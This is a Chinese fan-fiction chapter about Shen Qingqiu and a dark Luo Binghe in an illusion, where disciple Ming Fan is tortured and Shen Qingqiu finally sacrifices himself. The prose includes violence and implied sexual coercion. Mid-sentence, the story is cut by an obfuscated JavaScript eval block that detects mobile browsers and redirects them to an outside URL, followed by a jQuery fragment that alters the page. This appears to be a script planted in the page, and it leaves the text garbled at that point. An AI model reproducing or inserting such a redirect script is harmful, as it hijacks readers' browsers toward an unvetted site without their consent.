预警:失忆九+已经弄死狂傲九的冰哥;其实我磕明九亲情向
——正文——
【沈清秋】与黑衣人于清静峰竹屋落下,刚打开房门,就看见里面已存在两人。明帆负责打扫地面卫生,宁婴婴在清理书架上的浮尘。
随着【沈清秋】开门的动作,来自外面的阳光撒入屋内,被宁婴婴‘挥下来’的尘灰就像是夜幕中的小精灵,于半空中肆意舞蹈。
不知为何,沈清秋总觉得他已经很久没见过明帆和宁婴婴了。
但在他的记忆里,明明与两人分开不久,在得知他要一个人去后山抚琴时,明帆还嘱咐他太阳落山前记得回来,傍晚会降温。婴婴天天喊着无聊,时常缠着他,要沈清秋带她下山遛弯。
这些记忆十分鲜活,丰满的就像是昨天或上午刚发生的事情。但那种从脑海深处、精神底层散发出的想念,又是那样的真切。
等他破了这个幻境,沈清秋要带着收拾好一切的明帆、穿戴得漂漂亮亮的宁婴婴下山转转,住上个三天五载的,好好散散心。
“沈清秋,你在想谁?”身旁不像人的玩意突然发声,漆黑到吸收所有光线的眸子里,是刺/裸/裸的探究:“明帆?还是宁婴婴?”
沈清秋瞥一眼看似恢复正常、实际上不知道有没有发疯的洛冰河,没回答。
他跟他没什么好聊的,只要脱离这个困阵,如果他真在弟子堆里看见这个家伙,他会立刻出手、诛灭此人。
这东西应该是心魔化身,虽说沈清秋不明白为什么自己的心魔长这个样子,但——只敢在困阵幻境里出现的下作东西,不足为虑。
“嚷什么嚷,你们想把百战峰那一堆都引过来吗?”
【沈清秋】比了个将嘴拉上的动作,拽着黑衣人进了屋。在两名弟子的问好与疑惑中,将黑衣人安排在床榻上。
期间,原本叽叽喳喳吵闹不停的明帆在接收到黑衣人扫过去的视线后,忍不住缩了缩肩膀,有些不稳的向后退了几步,手里的扫帚欲掉不掉、却又被立刻握紧。
宁婴婴原本被【沈清秋】的动作与呵斥吓得双手捂紧嘴巴,却又在看见黑衣人血迹斑斑的衣服后,震惊又紧张的询问道:“师尊,阿洛怎么了?”
【沈清秋】一心搀扶黑衣人,半点心思也没往两人身上放,听到宁婴婴问话,视线在竹屋内部扫了一圈,随便应上一句:“受了点伤。”
宁婴婴想上前看看具体情况,被【沈清秋】拦下来:“你们先出去,千草峰送来的药箱还放在原位?”
明帆颤颤巍巍的想张口,却不料牙齿都有些打架。宁婴婴用拂尘指了指东南角:“师尊屋里的东西没人敢动,依旧放在原位。师尊,需要弟子帮忙吗?”
【沈清秋】摇摇头,再次发出逐客令:“为师一个人即可。”
宁婴婴还想多看一看黑衣人什么情况,明帆紧紧捏着扫帚把,声音极轻、步子极缓的走到宁婴婴背后,拉了拉她的衣袖。等宁婴婴扭头看他,明帆果断做出个‘一起走’的动作,拽着宁婴婴闪人。
随着房门关闭,宁婴婴清脆的声音隔着空间逐渐消散:“可是阿洛看起来很糟糕……”
“师尊?”洛冰河像是恢复了正常,重新沏上热茶,推到沈清秋手边:“你在担心明帆?”
沈清秋的视线就没离开过明帆、宁婴婴两人,当明帆被黑衣人吓到时,沈清秋甚至下意识右手撑到躺椅上,打算站起来安慰对方。
他的感觉果然没错,明帆占据沈清秋太多心神。当时他看见被丢到万毒窟里、死无全尸的人活生生出现在自己面前,没有一丝的害怕震慑,只觉得不可置信和难以压抑的憎恨,手心当即发痒,满脑子都在思考如何再次将人弄死。
是神不知鬼不觉的化成脓水呢,还是被所有人都知晓的、饱尝世间刑罚、缓缓断气呢?如果说泄恨和震慑来说,明帆得死的慢一点,至少不能一剑割喉、便宜了他。
“呵。”沈清秋一把将茶盏打在地上,斜着瞥眼满肚子坏水的洛冰河,神情冷漠:“你是在提醒我‘阶下囚’的身份?”
明帆被黑衣人恐吓,又被【沈清秋】忽视,整个人抓着扫帚瑟瑟发抖。阳光打下的阴影里,明帆哪里像是清静峰的大师兄,反而比外门的小弟子都要可怜无助!
明帆在他手下时,意气风发、聪明能干,怎的在【沈清秋】手下,却是个不得上位者喜爱、没有半点气势的打杂?
还有宁婴婴,清静峰的大姐大。除了喜欢跟沈清秋吐槽山上无聊、想下山遛弯,什么时候不顺心过?婴婴主动关心黑衣人的伤势,【沈清秋】却满心满眼都是黑衣,除了问‘医疗箱在哪’,甚至连个眼神都舍不得奉送!
若不是明帆机警,带走宁婴婴,【沈清秋】是打算亲自出手,将两人推出去;还是打算就那么放任着,当着两人的面对黑衣人百般呵护、仔细体贴?
人心都是肉长的,【沈清秋】偏心黑衣人,所以洛冰河唧唧歪歪、拉着沈清秋吐槽,幽怨的嫌弃他不曾赠予洛冰河温情。
可沈清秋向来偏疼明帆、宁婴婴,洛冰河非要拉着他查看【沈清秋】如何因照顾洛冰河而冷落两人,沈清秋又该作何想法?
他辛辛苦苦带出来、养大的孩童,包容他们的小性子、跟在他们身后撑场子,与他们共同走过那么久的时光。一点点看着他们长大,成为现如今男俊女靓、傲气蓬勃的大师兄、大师姐。
可是。
却被【沈清秋】,忽视得彻底。
他精心养育的玫瑰,到了别人的手下,别说有没有绽放的风华,现在愣是被打击的与路边野草无异。即便是还有几分曾经样貌,放到月季堆里,都不一定有人能认出来。
“师尊。你现在只是看见‘我’扫了他一眼,就气成这样。那你可知,你的好徒弟被我丢下万毒窟,被蛇虫吞噬,最后落得个尸骨无存?”
洛冰河手中的茶盏被沈清秋毫不在乎的直接打掉,清脆的瓷器破裂声炸响,对两人而言,无异于冲天火药、毁天灭地。
洛冰河不愿意在玩这出‘师慈子孝’的游戏,也不想再体验明明拥有绝对优势,却还不能随心所欲的憋屈。
梦境里这个总归什么也不知道,即便是有些趣味,拆毁之后,他也可以出去寻找另一个。既然有第二个选择,为什么还要要委屈自己,而不是干脆满足一下他被压抑许久的本性?
他是魔,魔族骨子里就是带着破碎一切的暴虐。那个幸运儿愿意压抑,是他的【沈清秋】能回馈给他想要的温情。可洛冰河的沈清秋既然不愿意给,他一厢情愿的陪对方玩过家家,又有什么意趣?
还不如当即就将人撕毁,听他在自己耳边哀嚎怒骂,尝一下许久未曾品到的新鲜血液,好好的放纵一下,释放本性。
两人对视,一个愤怒不已,一个冷漠无情。一个被人死死拥在怀里、想方设法的想要摆脱对方的控制,一个双臂锁紧、时刻准备咬断猎物的脖颈。
沈清秋大脑里仿佛有一根绷紧的弦,不停震颤着,提醒他危机即将到来:他不该这么冲动,更不该将情绪过于外露。
明明他之前还能将故事与现实区分,能够忽视‘他们争夺沈清秋’这个离谱的设定。尤其是,去掉名字、样貌导致的冲击后,这个剧情很有趣、很狗血、很缠绵不休、很脱离事实,不是吗?
他好好的做一个看客,看戏不就好了?
沈清秋努力给自己洗脑:他正躺着美人怀里,面前是商家新编的戏码,旁边糕点茶水一应俱全,不仅门票,连打赏都不需要。
这样好的一个场景,他只要高高的坐在厢房之内,看着台上的喜怒哀乐、恩怨情仇,就够了。
沈清秋只需要始终站在旁观者的角度上,看你们这些人恩恩怨怨、复仇与报仇、辜负与忏悔,等着一盆盆的狗血‘哗哗哗’的豁下来。
而他,远远的坐在半点血滴也沾不到、半分腥臭也闻不着的地方,嗑着瓜子喝着茶,随意的丢下玉佩鲜花进行打赏,然后评一句‘创意不错’。
这世间的爱恨从不分明,只有倾注了更多情感的,才期待获得更多回馈。
洛冰河一厢情愿的拉沈清秋进入他曾感受过的割裂深渊,想看沈清秋对洛冰河说一句恨怨,想看沈清秋终于被剧情感动,开始反思错误;想听沈清秋或温柔或惭愧的说出那句‘也曾关心过’。
可,那些爱恨情仇与他何干?
他本就是‘第三个世界’里,被半路拐走的人。在这个梦境中,沈清秋的记忆更是停留在洛冰河尚未拜师、所有剧情暂未开始之前。
他根本没有参与这一切,自然而然的会超脱剧本、隔离情感。
而这些‘未来会发生的事情’,这些爱也好、恨也罢的东西,都是如此的荒唐荒谬、可叹可笑。
但。他是沈清秋。
谁让他是【沈清秋】。
即便不是同一个人;即便不是同一个世界;即便他们的性格看起来千差万别。
他可以洗脑自己不去理会任何东西,也可以冷眼看着其他人对自己的争夺,看他怎么死的惨淡。当时的那句‘岳清源’,那声苍凉而凄凉的笑,他即便是没去看,也知道一定是心智磨灭、了无生机。
不就是没有活路吗?
不就是死在牢狱吗?
不就是最后走的不体面吗?
不就是临到死,连个送终的人都没有吗?
这又有什么呢?
即便是刑罚加身、受万千折磨;道心尽毁、魂飞魄散;登高失足、坠落深渊;风霜剑雪,雨打浮萍;零落成泥、碾作尘土。
又能如何呢?
无非是,一死罢了。
能活,自然是想活。
可若是死,也无非是死。
他不怕死。只是正常情况下,他想活。
可……即便是他知道这一切,他知道自己应该独坐高台、莫掺凡俗,他依旧下场了。就像是明帆与弟子之间的打闹,他过去,就是以大欺小、以尊压卑,但他还是那么干了。
因为他是人,一个有血有肉、有情有感、知冷知热、五感皆存的人。
他可以主动的将其他人推开;也可以接受其他人对他的表面恭敬私底下谩骂;更可以理解那些人受了他人恩惠、转头砍他一刀。
人之常情而已。
谁让他从来做不到被其他人喜爱呢?
他不会与其他人亲近,所以没有人会替他说话。他不会主动的跟其他人创建关系,所以也不会被其他人背刺。
他的生活圈很小,但他只要保证这几个人在就够了。只要这几个人在他身边,即便是他失去一切,又有什么呢?
可是,
但是,
为什么,为什么那个【沈清秋】,在遇见黑衣人后,舍弃了明帆与宁婴婴?!
如果世界再没有锚点,沈清秋又该如何存活?亲手建立的‘锚链’如果被丢弃,沈清秋这艘轮船,又将如何靠岸?
“沈清秋。”洛冰河突然笑了一下,极其恶劣的眨了眨眼睛。两人面前的场景,瞬间变成洛冰河将明帆丢入万毒窟那一日。
“给你一个机会。”洛冰河改用双腿圈住沈清秋的腰肢,双手亲昵的捂在沈清秋脸颊两侧。眼神明亮而清澈,笑容灿烂到嘴角几乎扯到耳边。
脖颈微屈,黝黑的瞳孔里倒映着沈清秋的脸,薄情的双唇张开,吐出凉薄的话语:“想救他,就主动些。”
腰间稍微挺了一下,坚硬的触感顶着沈清秋后腰,沈清秋刚准备抬手,体内翻涌的天魔血将他逼出满身的冷汗。
遍体鳞伤的明帆被人强压着跪在地上,黑衣人慵懒的举着酒杯,示意手下松开明帆嘴里塞的破布。
明帆在‘得到空闲’的那一刻,张口将给他取走破布之人的手腕,咬出血洞。大量腥臭的血液流出,那人吃痛,下意识一巴掌挥出,将明帆打倒地上,接着一边小心翼翼的给自己止血
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408714|168784||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一边重重踩在明帆脊背,骂骂咧咧。
黑衣人对此不置可否,只是令人打开一旁的盖子,明帆身后还有许多囚犯,随着哭闹求饶的声音响起,第一个被推出来的,是个健壮男修士。
他跪在地上,哭的稀里哗啦。哪有什么男儿有泪不轻弹,只不过是未到伤心处。在生死面前,鼻涕一把泪一把,头都磕出红印,只求活下去的机会。
明帆被踩入泥坑,沙土飞扬,他却在无数次的爬起抬头时,狠狠的咒骂着黑衣人:
“洛冰河,你不得好死!”“洛冰河,你残害苍生、毁天灭地,你将死无葬身之地!”“你毁掉生你养你的修真界,烧掉给予你存活立命之能的清静峰,恩将仇报、欺师灭祖,实乃无情无义、没心没肺!”“天魔现世,生灵涂炭,师尊当初没直接弄死你,真是心软了!”“你这样不仁不义之徒,不配成为师尊的弟子,师尊从不认你是应该的!”
不知哪句戳到了黑衣人的心窝,明帆身后的囚犯一个个被推下万毒窟内,尖锐凄惨的声音响彻寰宇,能令万鬼畏惧、止小儿啼哭。
“师尊。”洛冰河温柔的用衣袖替沈清秋擦去额头冷汗,声音是一惯的柔和,其中却又参杂在明晃晃的阴冷和虚伪:“您再思考下去,您最喜爱的大弟子,会被虫蛇一口口吃得干干净净。”
沈清秋眼帘掀起,直视着心情极好的狩猎者。单从称呼上就能知道,这家伙的心情是真的很不错,不仅愿意称呼他为‘师尊’,还说出‘最喜欢的大弟子’这种话。
也是。
身为最后的战胜者,洛冰河将所有人踩在脚下,坐拥一切荣光。前面是宽广的明媚大道,身后是战败者积累成山的白骨骷髅。耳边萦绕的,不仅是俘虏囚徒的凄厉哭喊,还有数不尽的称赞道贺、花团锦簇。
而今,更是将沈清秋这个从来看不起他、将他不放在眼里的‘师尊’捏在手里,拉着他一同‘观赏’故人的残忍结局。
“你想要我求饶,还是认错。”沈清秋面色平淡,内心毫无波动。
这玩意功成名就,却非要拉着他玩‘看戏吃茶互相打闹’的过家家,不就是想要【沈清秋】的认可吗。
既然如此,给他就是。
只不过……沈清秋微微垂眼,感受下后背从不曾降低的温度:这玩意想要的,绝不止这些。
“师尊很聪明。”洛冰河夸奖沈清秋一句,接着悠悠的笑了笑:“弟子相信,师尊必定知道的。”
“呵。”沈清秋冷哼一声,早就聚集的灵力立刻拍在钳制自己的双腿上。牙齿猛咬,吐出一口舌尖血,凌空画符,击向洛冰河。
这点攻击杀不了人,但可以让他脱离对方以身体构成的‘囚笼’。
右手撑在躺椅上,手掌发力,顺着力道向下滑,只可惜体内涌动的经脉过于狂暴,沈清秋不由得膝盖一弯,险些跌倒。为了最大程度逃离,沈清秋干脆肩膀着地,快速翻滚。
这次的幻境不同,沈清秋亲手摸到了明帆身边正在抬脚下压的魔族。艰难站起来,从魔物腰间拔出大刀,一招割了他的脑袋:
“欺负本尊的弟子,是以为他没有长辈吗?”
“师尊!”明帆从地上爬起来,刚才即便再狼狈疼痛、亦是硬气的骂天骂地,现在看见沈清秋站在他面前,却忍不住眼眶续满眼泪:“你还活着……”
沈清秋将喉头涌起的腥甜咽下去,抬手摸了摸明帆的脑门:“哭什么,咱爷俩打出去。”
“嗯!”明帆重重点头,用肮脏不堪的袖子擦了擦眼泪,只可惜上面沾满了尘土,原本满是尘土的小脸,更是结成了花猫。
沈清秋灵力被压制,体内经脉破碎,用不出道法,只能以往日里习得的武艺对拼,一刀一个,豪爽有余,美观不足。
明帆不知从哪里夺来一柄长枪,枪头四晃,点扎横挑,将靠过来的魔族杀了个七进七出。
两人背靠着背,在人群之中,杀出一片真空区域来。
围堵他们的早就不仅魔物,一些即将被推下的囚犯们,在得到魔物‘杀了他们可免死罪’的激励下,也加入了战斗。
更有甚者,悄咪咪的潜到两人之间,假情假意的帮他们杀了几个魔物后——反手一剑砍向沈清秋后背。
“师尊!”明帆想也不想的将沈清秋推开,这一剑,正中后心。
沈清秋踉跄一步,这一瞬间,脖子上架了六七把各式兵器。
“沈清秋?”黑衣人伸手,将侍从重新填满的酒杯拿回手里:“你从哪跑出来的?”
表情很疑惑,却又有些震怒:“你既然逃出来,却又为了他再回来送死?”
沈清秋将视线拉远,白衣洛冰河悠悠的抬起茶盏,冲他举了举杯子。
沈清秋体内的天魔血依旧在肆虐,洛冰河放他‘亲自上场演戏’,自己却坐在一旁,抿着清茶看得过瘾。
果然。看戏者,最终都会成为戏中人。
“师尊……”明帆吐出一口鲜血,他的生命即将画上休止符。相比较于被丢下毒蛇鼠蚁死无全尸,这样于魔族包围中战死,显得极其悲壮。
“洛冰河。”
沈清秋最后看了明帆一眼,自己的故事里,明帆的死亡避免不了;那个【沈清秋】的故事里,明帆被忽略成边缘人。那么,对于明帆来说,他又想要什么样的结局呢?
“你不是要泄恨?”沈清秋手中掐诀,将再次聚集起的灵力释放出来,刚脱离人群包围,三步并两步的跳到没盖盖子的地窖前:
“本尊从不认为自己有错。”
看着再次聚集的魔众,沈清秋勾唇一笑,轻轻抬脚:“冤冤相报何时了?就用沈某身死为交换,放过这个世界其他人吧。”
说罢,重心稍稍偏移,坠入其中。
——碎碎念——
原本想展开一下九与明帆共同打架的故事的,但是他会不会歪掉呀?因为他这个师徒情明显要比,嗯他这一对相爱相杀看起来要温馨。